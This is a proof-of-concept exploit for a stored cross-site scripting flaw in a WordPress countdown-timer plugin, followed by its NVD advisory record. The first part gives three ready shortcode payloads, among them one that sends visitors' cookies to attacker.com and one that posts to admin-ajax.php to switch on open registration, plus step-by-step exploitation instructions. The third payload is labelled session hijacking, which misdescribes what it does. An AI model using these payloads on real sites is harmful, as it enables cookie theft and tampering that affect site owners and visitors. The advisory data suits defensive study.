CVE-2025-14555

// CVE-2025-14555 PoC - WordPress Countdown Timer XSS // Author: [email protected] // Affected: Countdown Timer – Widget Countdown <= 2.7.7 // Method 1: Basic XSS via shortcode attribute injection [wpdevart_countdown year='2025<script>alert("XSS")</script>' month='12' day='25'] // Method 2: Cookie stealing PoC [wpdevart_countdown year='2025<img src=x onerror=fetch("https://attacker.com/log?c="+document.cookie)>' month='12' day='25'] // Method 3: Session hijacking via stored script [wpdevart_countdown year='2025<script>fetch("/wp-admin/admin-ajax.php",{method:"POST",body:"action=update_options&option_name=users_can_register&option_value=1"}).then(()=>location.href="/wp-login.php?action=register")</script>' month='12' day='25'] // Exploitation steps: // 1. Attacker needs Contributor-level WordPress access // 2. Create or edit any post/page // 3. Insert malicious shortcode // 4. Publish/update the content // 5. Any user visiting the page will execute the injected script

{"cve": {"id": "CVE-2025-14555", "sourceIdentifier": "[email protected]", "published": "2026-01-10T13:15:48.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Countdown Timer – Widget Countdown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpdevart_countdown' shortcode in all versions up to, and including, 2.7.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Countdown Timer – Widget Countdown para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'wpdevart_countdown' del plugin en todas las versiones hasta la 2.7.7, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/widget-countdown/trunk/includes/front_end.php#L167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widget-countdown/trunk/includes/front_end.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widget-countdown/trunk/includes/front_end.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3425959/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee84c720-7997-4c09-a2f9-5e1a28bd1100?source=cve", "source": "[email protected]"}]}}